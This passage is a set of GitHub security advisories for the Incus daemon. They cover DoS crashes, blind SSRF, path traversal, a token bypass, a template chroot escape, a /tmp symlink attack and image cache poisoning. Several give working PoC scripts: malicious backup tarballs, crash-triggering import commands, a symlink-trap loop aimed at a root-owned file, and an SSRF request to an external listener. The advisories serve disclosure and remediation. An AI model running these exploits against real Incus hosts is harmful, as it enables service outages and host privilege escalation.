// Validate config and create database entry for new storage volume. // Strip unsupported config keys (in case the export was made from a different type of storage pool). err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapshot.ExpiresAt, snapVol.ContentType(), true, true) if err != nil { return err }

reverter.Add(func() { = VolumeDBDelete(b, srcBackup.Project, fullSnapName, snapVol.Type()) }) } [...] }

PoC The following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volumesnapshots can trigger a nil-pointer dereference during import.

Step 1: Generate the malformed archive

From a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volumesnapshots array containing a literal null entry.

Commands: cat <<EOF > pocnilsnapshot.sh #!/bin/bash set -e

echo "[] Building null snapshot dereference payload..."

mkdir -p backup/volume mkdir -p backup/snapshots/snap0

cat <<EOT > backup/index.yaml name: panic-nil-snap backend: dir pool: default type: custom snapshots: - snap0 config: volume: name: panic-nil-snap type: custom contenttype: filesystem config: {} volumesnapshots: - null EOT

tar -czf exploitnullsnapshot.tar.gz backup/ rm -rf backup/

echo "[+] PoC Tarball Created: exploitnullsnapshot.tar.gz" EOF

bash pocnilsnapshot.sh

Result: [+] PoC Tarball Created: exploitnullsnapshot.tar.gz

Step 2: Trigger the vulnerable custom volume import path

From an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool.

Command: incus storage volume import default exploitnullsnapshot.tar.gz

Result: Error: Operation not found

Step 3: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup.

Command: journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic:"

Result: panic: runtime error: invalid memory address or nil pointer dereference github.com/lxc/incus/v6/internal/server/storage.(backend).CreateCustomVolumeFromBackup(...)

Mar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address or nil pointer dereference Mar 23 17:27:55 incus-7a incusd[238672]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x16881c3] Mar 23 17:27:55 incus-7a incusd[238672]: goroutine 5802 [running]: Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/storage.(backend).CreateCustomVolumeFromBackup(0x31c86ff85800, {{0x31c870a13203, 0x9}, {0x31c870a13300, 0xe}, {0x31c870a13318, 0x3}, {0x31c86f6d6298, 0x7}, {0x31c86fd13280, ...}, ...}, ...) Mar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7627 +0xe03 Mar 23 17:27:55 incus-7a incusd[238672]: main.createStoragePoolVolumeFromBackup.func6(0x31c86fa5e000?) Mar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/cmd/incusd/storagevolumes.go:2715 +0x3f4 Mar 23 17:27:55 incus-7a incusd[238672]: github.com/lxc/incus/v6/internal/server/operations.(Operation).Start.func1(0x31c86f758140) Mar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26 Mar 23 17:27:55 incus-7a incusd[238672]: created by github.com/lxc/incus/v6/internal/server/operations.(Operation).Start in goroutine 5783 Mar 23 17:27:55 incus-7a incusd[238672]: /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105 Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'. Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped. Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238744 (dnsmasq) remains running after unit stopped. Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238760 (dnsmasq) remains running after unit stopped.

It is recommended to validate that each element of srcBackup.Config.VolumeSnapshots is non-nil before dereferencing it. If the archive contains a null snapshot entry, the function should return a structured validation error and abort the import gracefully rather than allowing a runtime panic to crash the service.

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
Null Pointer Dereference
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary Missing validation logic in the storage bucket import logic allows an authenticated user with access to Incus' storage bucket feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details The storage bucket migration subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during bucket import operations. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and then accesses members of the parsed backup configuration without first verifying that the configuration object was initialized.

In Go, dereferencing a nil pointer triggers a runtime panic. Because CreateBucketFromBackup assumes that srcBackup.Config is populated from the supplied archive, a malicious or malformed index.yaml that omits the config block causes the daemon to dereference a nil pointer and terminate. This results in denial of service on the affected node.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code: func (b backend) CreateBucketFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op operations.Operation) error { [...] bucketRequest := api.StorageBucketsPost{ Name: srcBackup.Name, StorageBucketPut: srcBackup.Config.Bucket.StorageBucketPut, }

// Create the bucket to import. err = b.CreateBucket(srcBackup.Project, bucketRequest, op) if err != nil { return err }

reverter.Add(func() { = b.DeleteBucket(srcBackup.Project, bucketRequest.Name, op) })

// Upload all keys from the backup. for , bucketKey := range srcBackup.Config.BucketKeys { bucketKeyRequest := api.StorageBucketKeysPost{ Name: bucketKey.Name, StorageBucketKeyPut: bucketKey.StorageBucketKeyPut, }

, err := b.CreateBucketKey(srcBackup.Project, srcBackup.Name, bucketKeyRequest, op) if err != nil { return err } }

// Upload all files from the backup. backupKey, err := b.getFirstAdminStorageBucketPoolKey(srcBackup.Project, srcBackup.Name) if err != nil { return err }

[...] }

PoC The following PoC demonstrates that a malformed bucket backup archive with an index.yaml file that omits the config block can trigger a nil-pointer dereference and crash the incusd daemon during bucket import.

Step 1: Create the malformed archive

From a client or workstation with Python available, generate a minimal bucket backup archive whose index.yaml omits the config section.

Commands: cat <<EOF > pocbucketnil.py import tarfile import io

indexcontent = b"name: dos-trigger\n"

with tarfile.open("nilpanic.tar.gz", "w:gz") as tar: info = tarfile.TarInfo(name="backup/index.yaml") info.size = len(indexcontent) tar.addfile(info, io.BytesIO(indexcontent))

print("[+] Nil-Pointer PoC Tarball created: nilpanic.tar.gz") EOF

python3 pocbucketnil.py

Result: [+] Nil-Pointer PoC Tarball created: nilpanic.tar.gz

Step 2: Trigger the vulnerable bucket import path

From an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.

Command: incus storage bucket import local-pool nilpanic.tar.gz crash-test

Result: Error: Operation not found

Step 3: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer panic in the bucket import path.

Command: journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic"

Result: Mar 23 17:19:11 incus-7a incusd[237735]: panic: runtime error: invalid memory address or nil pointer dereference Mar 23 17:19:11 incus-7a incusd[237735]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x60 pc=0x168a223] Mar 23 17:19:11 incus-7a incusd[237735]: goroutine 9635 [running]: Mar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/storage.(backend).CreateBucketFromBackup(0x254e0c0706c0, {{0x254e0cd77263, 0x9}, {0x254e0c408ce0, 0xa}, {0x0, 0x0}, {0x254e0c964c48, 0xa}, {0x0, ...}, ...}, ...) Mar 23 17:19:11 incus-7a incusd[237735]: /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7754 +0x303 Mar 23 17:19:11 incus-7a incusd[237735]: main.createStoragePoolBucketFromBackup.func3(0x191ca65?) Mar 23 17:19:11 incus-7a incusd[237735]: /home/stgraber/Code/lxc/incus/cmd/incusd/storagebuckets.go:1467 +0x19c Mar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/operations.(Operation).Start.func1(0x254e0c333400) Mar 23 17:19:11 incus-7a incusd[237735]: /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26 Mar 23 17:19:11 incus-7a incusd[237735]: created by github.com/lxc/incus/v6/internal/server/operations.(Operation).Start in goroutine 9576 Mar 23 17:19:11 incus-7a incusd[237735]: /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105 Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'. Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped. Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237808 (dnsmasq) remains running after unit stopped. Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237825 (dnsmasq) remains running after unit stopped.

It is recommended to validate that srcBackup.Config is not nil before attempting to access its members. If the required configuration metadata is missing from the archive, the function should return a structured error and abort the operation gracefully rather than allowing a runtime panic to crash the service.

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary A partial implementation of our restricted.images.servers project restriction allows users in such restricted projects to still cause Incus to send HEAD requests to arbitrary endpoints.

The actual image download will be rejected by the project restriction, but the ability to trigger arbitrary HTTP requests inside of the Incus environment can still be used as a way to discover otherwise hidden details about the environment.

Details The image import flow performs outbound network access to a user-supplied URL before the request is fully validated and before the import is rejected. The URL information helper constructs a HEAD request directly from the supplied source URL and immediately sends it to resolve image metadata.

A host-originated HEAD request is issued from attacker-controlled input during the image import preflight stage. In the observed reproduction, this request is sent before the flow fails on later processing requirements, such as missing image metadata headers. As a result, an authenticated user can coerce the daemon into making blind outbound HEAD requests to arbitrary destinations. This yields a blind server-side request forgery (SSRF) primitive against internal services, unroutable address space, or cloud metadata endpoints reachable by the host. This vulnerability pattern is similar to CVE-2026-24767.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go

Affected Code: func imgPostURLInfo(ctx context.Context, s state.State, r http.Request, req api.ImagesPost, op operations.Operation, project string, budget int64) (api.Image, error) { [...] head, err := http.NewRequest("HEAD", req.Source.URL, nil) if err != nil { return nil, err }

[...]

head.Header.Set("User-Agent", version.UserAgent) head.Header.Set("Incus-Server-Architectures", strings.Join(architectures, ", ")) head.Header.Set("Incus-Server-Version", version.Version)

raw, err := myhttp.Do(head) if err != nil { return nil, err }

hash := raw.Header.Get("Incus-Image-Hash") if hash == "" { return nil, errors.New("Missing Incus-Image-Hash header") }

url := raw.Header.Get("Incus-Image-URL") if url == "" { return nil, errors.New("Missing Incus-Image-URL header") }

info, , err := ImageDownload(ctx, r, s, op, &ImageDownloadArgs{ Server: url, Protocol: "direct", Alias: hash, AutoUpdate: req.AutoUpdate, Public: req.Public, ProjectName: project, Budget: budget, }) [...] }

The following PoC demonstrates that an authenticated user can trigger a host-originated HEAD request to an arbitrary external URL during the image import preflight stage.

Step 1: Select the reproduction project

From an Incus client with access to the target server, switch into the project used for reproduction. In this environment, the selected project was configured as restricted=true with a restrictive restricted.images.servers policy.

Command: incus project switch restricted

Step 2: Trigger the preflight request to an arbitrary URL

From the same Incus client, attempt to import an image from an attacker-controlled or observable URL. In this example, webhook.site is used as an external listener to capture the host-originated request.

Command: incus image import https://webhook.site/0270eca3-4197-4194-97b6-1280f1070c3a --alias my-ssrf-image

Result: Error: Missing Incus-Image-Hash header

Step 3: Verify the outbound HEAD request in the external listener

In the webhook.site request log for the URL above, confirm that the Incus host issued a HEAD request before the import failed. In this reproduction environment, the request originated from a server running Incus v6.22.0.

Result: HEAD /0270eca3-4197-4194-97b6-1280f1070c3a HTTP/1.1 Host: webhook.site User-Agent: Incus 6.22 (Linux; x8664; 6.19.6; Debian GNU/Linux; 13) (zfs 2.4.1-1) Incus-Server-Version: 6.22 Incus-Server-Architectures: x8664, i686

It is recommended to defer all outbound network interaction associated with URL-based image imports, including metadata preflight requests, until after the supplied URL has passed all validation and policy checks required by the import flow. If the import would later fail or be disallowed, the daemon should reject the request before issuing any network traffic.

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

1 / 2
Source: GitHub
First published (updated )
Severity
10
EPSS
0.06%
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary Incus instances have an option to provide credentials to systemd in the guest. For containers, this is handled through a shared directory. An attacker can use the name of a systemd credential to escape that directory and overwrite arbitrary files on the host system.

This can in turn be used to perform local privilege escalation or cause a DoS.

Details An attacker can set a configuration key named something like systemd.credential.../../../../../../root/.bashrc to cause Incus to write outside of the credentials directory associated with the container. This makes use of the fact that the Incus syntax for such credentials is systemd.credential.XYZ where XYZ can itself contain more periods.

While it's not possible to read any data this way, it's possible to write to arbitrary files as root, enabling both privilege escalation and denial of service attacks.

Credit This issue was discovered and reported by the team at 7asecurity

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.06%
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary The web server spawned by incus webui incorrectly validates the authentication token such that an invalid value will be accepted.

Details incus webui runs a local web server on a random localhost port. For authentication, it provides the user with a URL containing an authentication token. When accessed with that token, Incus creates a cookie persisting that token without needing to include it in subsequent HTTP requests.

While the Incus client correctly validates the value of the cookie, it does not correctly validate the token when passed int the URL. This allows for an attacker able to locate and talk to the temporary web server on localhost to have as much access to Incus as the user who ran incus webui.

This can lead to privilege escalation by another local user or an access to the user's Incus instances and possibly system resources by a remote attack able to trick the local user into interacting with the Incus UI web server.

Credit This issue was discovered and reported by the team at 7asecurity

1 / 2
Source: GitHub
First published (updated )
Severity
10
EPSS
0.05%
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary Instance template files can be used to cause arbitrary read or writes as root on the host server.

Details Incus allows for pongo2 templates within instances which can be used at various times in the instance lifecycle to template files inside of the instance. This particular implementation of pongo2 within Incus allowed for file read/write but with the expectation that the pongo2 chroot feature would isolate all such access to the instance's filesystem.

This was allowed such that a template could theoretically read a file and then generate a new version of said file.

Unfortunately the chroot isolation mechanism is entirely skipped by pongo2 leading to easy access to the entire system's filesystem with root privileges.

Credit This issue was discovered and reported by the team at 7asecurity

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.04%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary A specially crafted storage bucket backup can be used by an user with access to Incus' storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API.

This does not impact any running workload, existing containers and virtual machines will keep operating.

Details

The S3 transfer manager contains an unchecked string slicing vulnerability that allows an authenticated attacker to crash the daemon during S3 restore operations. While processing tar headers from a supplied backup archive, the code skips only the index entry and strips the expected bucket prefix from all other entries without first validating the header name.

In Go, slicing a string with a starting index beyond the string length triggers a runtime panic. Because no prefix or length validation is performed before this operation, a malicious archive containing a non-index entry with a shorter-than-expected header name can trigger a slice-bounds panic and terminate the daemon. This results in immediate denial of service on the node.

Affected File: https://github.com/lxc/incus/blob/v6.20.0/internal/server/storage/s3/transfermanager.go

Affected Code: func (t TransferManager) UploadAllFiles(bucketName string, srcData io.ReadSeeker) error { [...] for { hdr, err := tr.Next() if err == io.EOF { break // End of archive. }

// Skip index.yaml file if hdr.Name == "backup/index.yaml" { continue }

// Skip directories because they are part of the key of an actual file fileName := hdr.Name[len("backup/bucket/"):]

, err = minioClient.PutObject(ctx, bucketName, fileName, tr, -1, minio.PutObjectOptions{}) if err != nil { return err } }

return nil }

PoC

The following PoC demonstrates that a malformed backup archive containing a non-index tar entry with a shorter-than-expected name can trigger a slice-bounds panic in the S3 restore path and terminate the incusd daemon.

Step 1: Enable the storage buckets listener

On the Incus host, enable the storage buckets listener so that the S3 transfer path can initialize correctly during import.

Command: incus config set core.storagebucketsaddress :4443

Step 2: Create the malicious archive

From a client or workstation with Python available, create a crafted backup archive that contains a valid backup/index.yaml entry followed by a second entry whose name is shorter than the expected backup/bucket/ prefix length.

Commands: cat <<EOF > pocs3slicing.py import tarfile import io import yaml

indexdata = { "name": "s3-slice-panic", "config": { "bucket": { "description": "Bypassing metadata checks", "config": {} }, "bucketkeys": [ { "name": "poc-key", "role": "admin", "description": "Bypassing key lookup", "access-key": "AAAAAAAAAAAAAAAAAAAA", "secret-key": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" } ] } }

maliciousfile = "backup/x"

with tarfile.open("s3panic.tar.gz", "w:gz") as tar: content = yaml.dump(indexdata).encode("utf-8") idxinfo = tarfile.TarInfo(name="backup/index.yaml") idxinfo.size = len(content) tar.addfile(idxinfo, io.BytesIO(content))

paniccontent = b"triggers3panic" pinfo = tarfile.TarInfo(name=maliciousfile) pinfo.size = len(paniccontent) tar.addfile(pinfo, io.BytesIO(paniccontent))

print("[+] PoC Tarball Created: s3panic.tar.gz") EOF

python3 pocs3slicing.py

Result: [+] PoC Tarball Created: s3panic.tar.gz

Step 3: Trigger the vulnerable import path

From an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.

Command: incus storage bucket import local-pool s3panic.tar.gz panic-test

Result: Error: Operation not found

Step 4: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a slice-bounds panic in TransferManager.UploadAllFiles.

Command: journalctl -u incus -n 50 | grep -A 15 "panic"

Result: panic: runtime error: slice bounds out of range [14:8] goroutine [running]: github.com/lxc/incus/v6/internal/server/storage/s3.TransferManager.UploadAllFiles(...) /home/stgraber/Code/lxc/incus/internal/server/storage/s3/transfermanager.go:139

It is recommended to validate that the header name begins with the expected bucket prefix and is at least as long as that prefix before slicing the string. If the entry does not match the expected archive format, the function should return a normal validation error and abort processing safely rather than allowing a runtime panic.

Credit This issue was discovered and reported by the team at 7asecurity

1 / 2
Source: GitHub
First published (updated )
Severity
4.7
EPSS
0.01%
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Incus provides an API to retrieve VM screenshots, that API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion.

As Incus uses predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time.

On the vast majority of Linux systems, this will result in a "Permission denied" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, protectedsymlinks.

On the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation.

Details The incusd daemon contains a local privilege escalation (LPE) primitive in the Virtual Machine VGA screenshot handling routine. When a screenshot is requested, the daemon creates a file in the globally writable /tmp directory using a deterministic pathname derived from the instance identifier. Because this implementation uses a predictable pathname in a world-writable directory, it exposes the operation to pathname attacks. The file permissions are then restricted, and the file is passed to the QEMU screenshot routine. In the QEMU path, ownership is transferred to the unprivileged Virtual Machine UID before the QEMU Machine Protocol is invoked with the same pathname.

An attacker able to pre-place or otherwise control that pathname can redirect truncation and ownership changes to an unintended host file.

This allows attacker-chosen host files to be truncated and have ownership reassigned to the unprivileged VM UID. In practice, this can be used to destroy sensitive root-owned files and alter ownership of security-relevant host paths. Depending on the targeted path and follow-up conditions, the impact may include denial of service, corruption of credentials or configuration, persistence through modified startup or service files, and further privilege escalation on the host.

As previously mentioned, this is only possible if the kernel protection mechanism has been previously disabled. It's possible to check on its status by reading the file at /proc/sys/fs/protectedsymlinks, a value of 0 is required for this attack to work.

Affected File: https://github.com/lxc/incus/blob/v6.20.0/cmd/incusd/instanceconsole.go

Affected Code: go func instanceConsoleGet(d Daemon, r http.Request) response.Response { [...] } else if inst.Type() == instancetype.VM { v, ok := inst.(instance.VM) if !ok { return response.SmartError(errors.New("Failed to cast inst to VM")) }

var headers map[string]string if consoleLogType == "vga" { screenshotFile, err := os.Create(fmt.Sprintf("/tmp/incusscreenshot%d", inst.ID())) if err != nil { return response.SmartError(fmt.Errorf("Couldn't create screenshot file: %w", err)) }

err = screenshotFile.Chmod(0o600) if err != nil { return response.SmartError(err) }

ent.Cleanup = func() { = screenshotFile.Close() = os.Remove(screenshotFile.Name()) }

err = v.ConsoleScreenshot(screenshotFile) if err != nil { return response.SmartError(err) } [...] } [...] }

Affected File: https://github.com/lxc/incus/blob/v6.20.0/internal/server/instance/drivers/driverqemu.go

Affected Code: go func (d qemu) ConsoleScreenshot(screenshotFile os.File) error { if !d.IsRunning() { return errors.New("Instance is not running") }

// Check if the agent is running. monitor, err := d.qmpConnect() if err != nil { return err }

err = screenshotFile.Chown(int(d.state.OS.UnprivUID), -1) if err != nil { return fmt.Errorf("Failed to chown screenshot path: %w", err) }

// Take the screenshot. err = monitor.Screendump(screenshotFile.Name()) if err != nil { return fmt.Errorf("Failed taking screenshot: %w", err) }

return nil }

PoC The following PoC demonstrates that a local attacker can pre-place symlink traps in the predictable /tmp/incusscreenshot<ID> namespace and coerce the root incusd daemon into truncating an unintended host file and reassigning its ownership during a VM VGA screenshot request.

Step 0: Disable the kernel symlink protection mechanism

Commands (as root): echo 0 > /proc/sys/fs/protectedsymlinks

Step 1: Prepare the target VM

From an Incus client with access to the target server, ensure a running virtual machine exists that can service the VGA screenshot path.

Commands: incus init images:alpine/edge lpe-vm --vm --project default incus config set lpe-vm security.secureboot=false --project default incus start lpe-vm --project default

Step 2: Create a root-owned trap target and pre-place /tmp symlinks

On the Incus host, create a sensitive root-owned file and place symlinks across a range of likely screenshot identifiers so that the predictable daemon pathname resolves to the chosen host target.

Commands: echo "SuperSecretRootHash" > /root/shadowtrap chmod 600 /root/shadowtrap ls -l /root/shadowtrap

for i in $(seq 1 100); do ln -sf /root/shadowtrap /tmp/incusscreenshot$i done

ls -l /tmp/incusscreenshot | head

Result: -rw------- 1 root root 20 Mar 18 00:27 /root/shadowtrap

Step 3: Trigger the vulnerable screenshot path

From an Incus client with access to the target server, request the VM VGA console through the Incus API. This causes the daemon to open the predictable /tmp/incusscreenshot<ID> path, change its ownership, and pass the same pathname into the QEMU screendump flow.

Command: incus query -X GET "/1.0/instances/lpe-vm/console?project=default&type=vga" > /dev/null

Result: Error: Failed taking screenshot: Failed to connect to QEMU monitor

Step 4: Verify host-side impact

On the Incus host, inspect the previously root-owned target file and confirm that it has been truncated and that ownership has been reassigned to the unprivileged VM UID.

Command: ls -l /root/shadowtrap && stat /root/shadowtrap

Result: -rw------- 1 incus root 0 Mar 18 00:29 /root/shadowtrap File: /root/shadowtrap Size: 0 Access: (0600/-rw-------) Uid: ( 100000/ incus) Gid: ( 0/ root)

It is recommended to create the temporary file securely in a directory controlled exclusively by the daemon, avoid predictable /tmp paths, and avoid reusing a mutable pathname after file creation.

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

1 / 2
Source: GitHub
First published (updated )
Severity
5.7
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A lack of validation of the image fingerprint when downloading from simplestreams image servers opens the door to image cache poisoning and under very narrow circumstances exposes other tenants to running attacker controlled images rather than the expected one.

Details Incus image fingerprints are computed as the SHA256 of the concatenated image files. When downloading from a public image server using a simplestreams index, Incus requires an HTTPS connection and validates the SHA256 of the individual files but is lacking validation that the concatenated hash of the files matches the fingerprint listed in the simplestreams index.

This missing check allows an attacker with access to an Incus environment lacking suitable image source restrictions (restricted.image.server or equivalent firewall rules) to cause Incus to download from an attacker controlled image server which would provide different image files for an other well known image fingerprint.

Such an attack can be used to poison the global image cache, leading to another user on the system wanting to use the legitimate image to be provided the compromised one instead.

For this to be successful, the attacker requires:

- Access to an Incus server - That server to NOT have been configured with restricted.image.servers or an equivalent firewall or HTTP proxy policy - Some ability to predict what image may be used by other users in the near future - Other users that are actively deploying new Incus instances on the system

Having to predict what image may be used in the future which doesn't have its legitimate copy already cached on the system (or somewhere within the cluster) makes this attack quite difficult to pull off. It's made even harder by not having any control as to when a given image may be used by another user.

An example of a somewhat easy target would be a server that's known to run ephemeral instances for Ci or build purposes, as those will get created very frequently and the images they use may be public knowledge, it would be possible to get a compromised image in place with the right timing:

- Monitor the legitimate image server for a new image being published - Immediately create a compromised image with the same fingerprint on an attacker controlled image server - Get the target Incus environment to download that image BEFORE any legitimate instance creation had the time to pull the legitimate image

But this again assumes an environment lacking either restricted.image.servers or equivalent firewall or proxy policies.

Mitigation As mentioned above, any server using restricted.image.servers in project configuration, as would be strongly recommended in multi-tenant environments will be immune to this attack. As would any server going through equivalent network restriction whether implemented through firewalling or through an HTTP proxy server.

The updated Incus versions will now validate not just the individual files during download but also that the hash of the concatenated files does match the image fingerprint, fully preventing such an attack in the future.

PoC To create a PoC, simply download https://images.linuxcontainers.org/streams/v1/{index,images}.json and https://images.linuxcontainers.org/images/DISTRO/RELEASE/ARCH/default/NEWEST/{incus.tar.xz,rootfs.squashfs} or similar paths, put them in suitable locations in a folder, and then use a server to serve them through https. The TLS certificate used by the server may need to be signed by a trusted CA of the client system.

Then change the content of rootfs.squashfs by unsquashfs/mksquashfs, add one line in /root/.bashrc: echo 'PoC: hacked!', and then update corresponding sha256 and size fields for that individual file in images.json.

Using incus-simplestreams first and then altering the combinedxxx fields should also be OK.

After that, check the following commands:

$ incus remote add poc https://TESTSERVER:4443 --protocol simplestreams $ incus remote list +-----------------+------------------------------------+---------------+-------------+--------+--------+--------+ | NAME | URL | PROTOCOL | AUTH TYPE | PUBLIC | STATIC | GLOBAL | +-----------------+------------------------------------+---------------+-------------+--------+--------+--------+ | images | https://images.linuxcontainers.org | simplestreams | none | YES | NO | NO | +-----------------+------------------------------------+---------------+-------------+--------+--------+--------+ | local (current) | unix:// | incus | file access | NO | YES | NO | +-----------------+------------------------------------+---------------+-------------+--------+--------+--------+ | poc | https://TESTSERVER:4443 | simplestreams | none | YES | NO | NO | +-----------------+------------------------------------+---------------+-------------+--------+--------+--------+ $ incus image list +-------+-------------+--------+-------------+--------------+------+------+-------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | +-------+-------------+--------+-------------+--------------+------+------+-------------+ $ incus image list images:debian/trixie -c lFpdasu +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | SIZE | UPLOAD DATE | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13 (7 more) | 8dad70759d54410e4e8ad84164f6a9d8bda3af753a54441365ff1476f065999c | yes | Debian trixie amd64 (2026032005:24) | x8664 | 341.13MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13 (7 more) | 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | yes | Debian trixie amd64 (2026032005:24) | x8664 | 94.70MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/arm64 (3 more) | 41b4f8849cfc8d22a6b9cd86790602a43f67a9ec2c1d7e13a0b3ecf7b7d6663e | yes | Debian trixie arm64 (2026032005:24) | aarch64 | 339.27MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/arm64 (3 more) | fda543def4b41f65511696ec0350d899dad5374956d18078697f58d1c466bae4 | yes | Debian trixie arm64 (2026032005:24) | aarch64 | 92.25MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/armhf (3 more) | 77ef0a077759eab7690b1401bfbec78360d2a0462ee89fa3de86b899465adedb | yes | Debian trixie armhf (2026032005:24) | armv7l | 84.14MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud (3 more) | 2ee3da00ca407ea98e1b84a2d5b1561c0fffb0281b05035e307e5029cdaa5532 | yes | Debian trixie amd64 (2026032005:24) | x8664 | 130.17MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud (3 more) | 108ed9a36105c37ba5412a880b5c39653536453189789aa101e46591de620d56 | yes | Debian trixie amd64 (2026032005:24) | x8664 | 374.30MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud/arm64 (1 more) | cfb51c473e221b6c8b62a21808bd4f69ca4845108abfb14187fde8b79befbab3 | yes | Debian trixie arm64 (2026032005:24) | aarch64 | 126.78MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud/arm64 (1 more) | 